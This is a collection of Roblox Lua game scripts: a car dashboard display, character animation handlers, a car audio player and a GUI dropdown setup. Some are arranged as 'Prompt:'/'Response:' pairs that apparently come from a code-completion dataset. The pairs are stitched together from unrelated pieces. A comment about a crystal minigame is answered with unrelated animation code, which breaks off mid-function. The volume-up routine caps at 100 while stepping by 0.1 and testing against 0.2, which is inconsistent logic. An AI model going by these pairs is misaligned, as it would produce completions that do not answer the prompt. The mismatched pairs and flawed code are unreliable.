script.Parent.ABS.Changed:connect(function()
	if _Tune.ABSEnabled then
		if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = not script.Parent.ABS.Visible
		elseif not script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = true
		end
	else
		if script.Parent.ABS.Visible then
			script.Parent.ABS.Visible = false
		end
	end
end)

function PBrake()
	script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end
script.Parent.Parent.Values.PBrake.Changed:connect(PBrake)

function Gear()
	if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
		script.Parent.TMode.Text = "A/T"
		script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
	elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
		script.Parent.TMode.Text = "S/T"
		script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
	else
		script.Parent.TMode.Text = "M/T"
		script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
	end
end
script.Parent.Parent.Values.TransmissionMode.Changed:connect(Gear)

script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
	script.Parent.Speedo.Needle.Rotation =45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
	script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)

mouse.KeyDown:connect(function(key)
	if key=="v" then
		script.Parent.Visible=not script.Parent.Visible
	end
end)

script.Parent.Speed.MouseButton1Click:connect(function()
	if currentUnits==#UNITS then
		currentUnits = 1
	else
		currentUnits = currentUnits+1
	end
	for i,v in pairs(script.Parent.Speedo:GetChildren()) do
		v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
	end
	script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)

wait(.1)
Gear()
PBrake()


Prompt: -- Ideas : Use this crystal for points in a minigame, Change the color of crystal; Whisper me for a Custom Item with your name on it!


Response:
function onRunning(speed)
	if speed>0 then
		playAnimation("walk", 0.1, Humanoid)
		pose = "Running"
	else
		playAnimation("idle", 0.1, Humanoid)
		pose = "Standing"
	end
end

function onDied()
	pose = "Dead"
end

function onJumping()
	playAnimation("jump", 0.1, Humanoid)
	jumpAnimTime = jumpAnimDuration
	pose = "Jumping"
end

function onClimbing()
	playAnimation("climb", 0.1, Humanoid)
	pose = "Climbing"
end

function onGettingUp()
	pose = "GettingUp"
end

function onFreeFall()
	if (jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	end
	pose = "FreeFall"
end

function onFallingDown()
	pose = "FallingDown"
end

function onSeated()
	pose = "Seated"
end

function onPlatformStanding()
	pose = "PlatformStanding"
end

function onSwimming(speed)
	if speed>0 then
		pose = "Running"
	else
		pose = "Standing"
	end
end

function getTool()
	for _, kid in ipairs(Figure:GetChildren()) do
		if kid.className == "Tool" then return kid end
	end
	return nil
end

function getToolAnim(tool)
	for _, c in ipairs(tool:GetChildren()) do
		if c.Name == "toolanim" and c.className == "StringValue" then
			return c
		end
	end
	return nil
end

function animateTool()

	if (toolAnim == "None") then
		playToolAnimation("toolnone", toolTransitionTime, Humanoid)
		return
	end

	if (toolAnim == "Slash") then
		playToolAnimation("toolslash", 0, Humanoid)
		return
	end

	if (toolAnim == "Lunge") then
		playToolAnimation("toollunge", 0, Humanoid)
		return
	end
end

function moveSit()
	RightShoulder.MaxVelocity = 0.15
	LeftShoulder.MaxVelocity = 0.15
	RightShoulder:SetDesiredAngle(3.14 /2)
	LeftShoulder:SetDesiredAngle(-3.14 /2)
	RightHip:SetDesiredAngle(3.14 /2)
	LeftHip:SetDesiredAngle(-3.14 /2)
end

local lastTick = 0

function move(time)
	local amplitude = 1
	local frequency = 1
  	local deltaTime = time - lastTick
  	lastTick = time

	local climbFudge = 0
	local setAngles = false

  	if (jumpAnimTime > 0) then
  		jumpAnimTime = jumpAnimTime - deltaTime
  	end

	if (pose == "FreeFall" and jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	elseif (pose == "Seated") then
		stopAllAnimations()
		moveSit()
		return
	elseif (pose == "Running") then
		playAnimation("walk", 0.1, Humanoid)
	elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then


Prompt: --local Screen = carSeat.Parent.AudioPlayerScreen.SurfaceGui <-- soon

Response:
local Song = script.Parent.AudioPlayerGui.Song
local Audio = carSeat.Audio

vol = 0.2

function playSong()

	local id = player.PlayerGui.AudioPlayer.AudioPlayerGui.TextBox.Text
	Audio:Stop()
	Audio.SoundId = "http://www.roblox.com/asset/?id="..id
	Audio:Play()
	--Screen.Song.Text = game:GetService("MarketplaceService"):GetProductInfo(id).Name
	Song.Text = game:GetService("MarketplaceService"):GetProductInfo(id).Name
	--Screen.ID.Text = id

end

function stopSong()

	Audio:Stop()

end

function volUp()

	if vol + 0.2 <= 100 then
		vol = vol + 0.1
		Audio.Volume = vol
		player.PlayerGui.AudioPlayer.AudioPlayerGui.Vol.Text = tostring(vol*100) .. "%"
		--Screen.Vol.Text = tostring(vol*100) .. "%"
	end

end

function volDown()

	if vol - 0.1 >= 0 then
		vol = vol - 0.1
		Audio.Volume = vol
		player.PlayerGui.AudioPlayer.AudioPlayerGui.Vol.Text = tostring(vol*100) .. "%"
		--Screen.Vol.Text = tostring(vol*100) .. "%"
	end

end

VolUpButton.MouseButton1Click:connect(function()

	volUp()

end)

VolDownButton.MouseButton1Click:connect(function()

	volDown()

end)

PlayButton.MouseButton1Click:connect(function()

	playSong()

end)

PauseButton.MouseButton1Click:connect(function()

	stopSong()

end)


Prompt: -- CONSTANTS

Response:
local GuiLib = script.Parent.Parent
local Lazy = require(GuiLib:WaitForChild("LazyLoader"))
local Defaults = GuiLib:WaitForChild("Defaults")

local UIS = game:GetService("UserInputService")

local VALID_PRESS = {
	[Enum.UserInputType.MouseButton1] = true;
	[Enum.UserInputType.Touch] = true;
}

local ARROW_UP = "rbxassetid://5154078925"
local ARROW_DOWN = "rbxassetid://5143165549"

local DROP_BUTTON = Defaults:WaitForChild("DropdownButton")